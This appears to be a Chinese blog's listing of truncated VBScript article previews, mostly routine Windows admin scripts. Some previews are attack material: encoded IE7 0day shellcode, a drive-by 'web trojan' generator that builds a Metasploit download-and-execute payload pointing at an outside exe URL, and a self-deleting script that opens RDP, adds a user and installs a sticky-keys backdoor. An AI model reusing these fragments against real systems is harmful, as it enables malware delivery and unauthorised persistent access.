ie7 0day当中的shellcode的escape+xor21加密

2016年07月27日 47 阅读

<SCRIPT LANGUAGE="VBSCRIPT"> Function Encode（s,n） Dim b b=UCase（s） For i=1 To Len（b） Encode=Encode&Chrw（（Asc（Mid（b,i,1）） Xor n）） Next End Function </script> <script language="javascript"> myrand=window.prompt（"ur...

VBScript 作用 简单说明

2016年07月27日 46 阅读

有事没事用VBS采集别人网站上的部分或全部数据进行分析，然后写入数据库或存到文本文件里，有时还会用VBScript做一些移动光标及输入的操作，比如批量添加远程桌面，有时还会用VBScript还管理Windows服务器，如设置IIS，还有做一些定时提醒工具，多久执行一次，然后用声音控件提醒，很好用。。。。 1. 计算 2. 处理文件和文件夹 3. 管理Windows 4. 处理Word, Excel, PowerPoint等Office文档 5. 嵌入网页，...

IE浏览器增加“复制图像地址”的右键菜单的vbs代码

2016年07月27日 46 阅读

但IE以及与IE共用右键菜单的MyIE、Sogou等浏览器均没有复制图像链接地址的快捷菜单，通常只有选择图片的属性再在属性对话框中复制图片地址，很麻烦！下面我们给IE添加一个“复制图像地址”的右键菜单，步骤如下： VB新建一个ActiveX Dll工程，工程名：NetCopyURL，将默认生成的类名改为clsCopyURL 在clsCopyURL.cls中添加如下代码： Public Sub CopyImageURL（URL As String） Clip...

vbscript LoadPicture函数使用方法与漏洞利用

2016年07月27日 46 阅读

复制代码 代码如下: <title>LoadPicture函数</title> <form name="frm"> 选择图片<input type="file" name="pic" onChange="GetPicInfor（）" > </form> <script language="vbscript"> Sub GetPicInfor（） dim objpic,iWidth,iH...

网马生成器 MS Internet Explorer XML Parsing Buffer Overflow Exploit （vista） 0day

2016年07月27日 49 阅读

"code by lcx On Error Resume Next Exeurl = InputBox（ "请输入exe的地址：", "输入", "http://www.haiyangtop.net/333.exe" ） url="http://www.metasploit.com:55555/PAYLOADS？parent=GLOB%280x25bfa38%29&MODULE=win32_downloadexec&MODE=GENERATE&OPT_UR...

可自删除 开启3389创建用户粘滞键后门的vbs

2016年07月27日 47 阅读

on error resume next const HKEY_LOCAL_MACHINE = &H80000002 strComputer = "." Set StdOut = WScript.StdOut Set oReg=GetObject（"winmgmts:{impersonationLevel=impersonate}！\" &_ strComputer & " ootdefault:StdRegProv"） strKeyPath = "SYS...

CMD和vbs修改 IP地址及DNS的实现代码

2016年07月27日 45 阅读

修改ＩＰ cmd /c netsh interface ip set address name=" 本地连接" source=static addr=211.82.56.253 mask=255.255.255.0 gateway=211.82.56.1 gwmetric=1 修改DNS cmd /c netsh interface ip set dns name="本地连接" source=static addr=202.99.192.66 配置或更新I...

vbScript on error resume next容错使用心得

2016年07月27日 47 阅读

vbscript中，错误处理使用on error resume next来完成，如果在你的代码里加入这一句，在这句之后的其他代码如果出现错误，系统将忽略这些错误继续运行后面的代码，同时，我们可以使用下面的代码来捕获错误复制代码 代码如下:If err.number<>0 then errNum = Err.Number errDesc = Err.Description Call G00B02logOut（"Error.002"， errNum...

vbscript include的办法实现代码第1/2页

2016年07月27日 46 阅读

任何真正实用的工程开发都必然是多文件的。但是VBScript创建多文件工程要麻烦一点，它对多文件工程，代码复用的支持并不是太好。在C/C++工程里，我们已经习惯了通过一个include语句，并且声明一个函数原形的方式来使用其它模块中的函数，这样一个复杂的工程可以比较容易地分解成一些小的模块，以更容易理解和掌握。VBScript中情况有些不同。这与它的设计目标有关。最初VBScript是用在客户端脚本，以支持与客户端作简单的交互，如简单的输入检查等等。在浏览...

vbscript 读取xml格式的配置文件

2016年07月27日 43 阅读

复制代码 代码如下:Class clsGetProfile " ルートドキュメント Private rootDoc " xmlファイル名とセクション名をセットする " 引数： 「1」ファイル名 NOT NULL " 戻り値：なし Public Sub setProfile（strFileName） Set data_xml = CreateObject（"Microsoft.XMLDOM"） data_xml.async = False data_xml....

vbScript中WScript.Shell对象的run和exec使用心得分享

2016年07月27日 43 阅读

Set exeRs = objws.Exec（"pscp -r -scp -pw " & password & " " & loginid & "@" & host & ":" & data_path & fileName & " " & windows_path）但在测试的时候，当拷贝的文件比较大，拷贝时间较长的时候就出现cmd窗口死在那里不动了的情况，直接在cmd窗口中运行pscp拷贝相同的文件就可以正常 结束。也找不到是什么原因，于是改成run方法试...

VBS 路由重启脚本

2016年07月27日 41 阅读

复制代码 代码如下:Set sh=WScript.CreateObject（"WScript.Shell"） sh.Run "telnet 192.168.1.1" WScript.Sleep 1000 sh.SendKeys "admin{ENTER}" WScript.Sleep 1000 sh.SendKeys "admin{ENTER}" WScript.Sleep 1000 sh.SendKeys "reboot{ENTER}" WScript....

Vbs COM之打开/保存文件脚本代码

2016年07月27日 52 阅读

您先把如下的代码复制，然后保存为FileSave.vbs，双击打开，您看到了什么呢？复制代码 代码如下:Set objDialog = CreateObject（"SAFRCFileDlg.FileSave"） Set fso = CreateObject（"Scripting.FileSystemObject"） objDialog.FileName = "test" objDialog.FileType = ".txt" intReturn = obj...

vbscript logparser的ISA2004 Web流量报告

2016年07月27日 47 阅读

很喜欢这里的学习气氛，也很佩服两位版主的技术水平，希望能够在这里与大家多多交流。 作为见面礼吧，把前一阵子写的一个生成ISA 2004 Web 流量报告的脚本与大家分享。说明下，该校本是首发而且仅发在这里，我没有在菊花里面或任何地方发过。大家可以随意更改脚本以便适合你的要求，转载请保留作者信息谢谢。 我的很多客户希望能够每天或每周得到一份员工浏览Web情况的报告，例如所访问的站点以及流量等等，他们都使用ISA2004作为web proxy。由于ISA200...

用VBScript批量安装网络打印机和设置默认打印机

2016年07月27日 45 阅读

首先打开记事本，输入以下内容： 复制代码 代码如下:Set WshNetwork = CreateObject（"WScript.Network"） WshNetwork.AddWindowsPrinterConnection "\你的网络打印机位置1" WshNetwork.AddWindowsPrinterConnection "\你的网络打印机位置2" WshNetwork.AddWindowsPrinterConnection "\你的网络打印机位...

当某IP 连接我机器的3389端口 报警的脚本

2016年07月27日 44 阅读

我知道 用IPSEC也可以做到只让某IP访问访问，用netstat -an 可以看某IP正在访问我机器的3389端口，我想做监视 让某IP访问时 然后报警 或者输入 >*.txt 这样。。。你在防火墙里面设置仅允许单一IP连你3389不行么？ 脚本不是万能的…… 我刚看了。的确 windows 自带的防火墙可以记录下来。。结帖 thank you you...这里给出一种变通的方法 1、将下面代码保存为vbs文件复制代码 代码如下:Set obji ...

Vbs 脚本编程简明教程之一

2016年07月27日 43 阅读

也许你每天启动计算机第一件事情就是打开WORD，切换到你喜爱的输入法进行文本编辑，同时还要播放优美的音乐给工作创造一个舒心的环境，当然也有可能你经常需要对文本中的某些数据进行整理，把各式各样的数据按照某种规则排列起来……。这些事情重复、琐碎，使人容易疲劳。 第三方软件也许可以强化计算机的某些功能，但是解决这些重复劳动往往事倍功半，我也尝试过使用计算机语言编写程序来解决这些问题，但是随之而来的命令、语法、算法、系统框架和类库常常让我觉得这样是否有必要，难道就...

vbs SendKey 用法 Sendkey 键盘对应的码表

2016年07月27日 46 阅读

其使用格式为: object.SendKeys string "object":表示WshShell对象 "string":表示要发送的按键指令字符串,需要放在英文双引号中. 1.基本键 一般来说,要发送的按键指令都可以直接用该按键字符本身来表示,例如要发送字母"x",使用 WshShell.SendKeys "x" 即可. 也可直接发送多个按键指令,只需要将按键字符按顺序排列在一起即可.例如,要发送按键"cfan",可以使用" WshShell.Send...

利用WMI实现系统补丁检测分析

2016年07月27日 45 阅读

WMI是Windows 2000/XP管理系统的核心；对于其它的Win32操作系统，WMI是一个有用的插件。WMI以CIMOM为基础，CIMOM即公共信息模型对象管理器 （Common Information Model Object Manager），是一个描述操作系统构成单元的对象数据库，为MMC和脚本程序提供了一个访问操作系统构成单元的公共接口。Windows 管理规范 （WMI） 是可伸缩的系统管理结构，它采用一个统一的、基于标准的、可扩展的面向对...

用vbs 取得收藏夹里的所有链接名称和URL的脚本

2016年07月27日 47 阅读

另外，可以考虑在输出的时候将链接输出成超链接形式，输出文件改为html文件。GetFavorites.vbs:复制代码 代码如下:"=================================================================== Const FAVORITES = &H6& Const ForWriting = 2 Set objShell = CreateObject（"shell.application"） Set...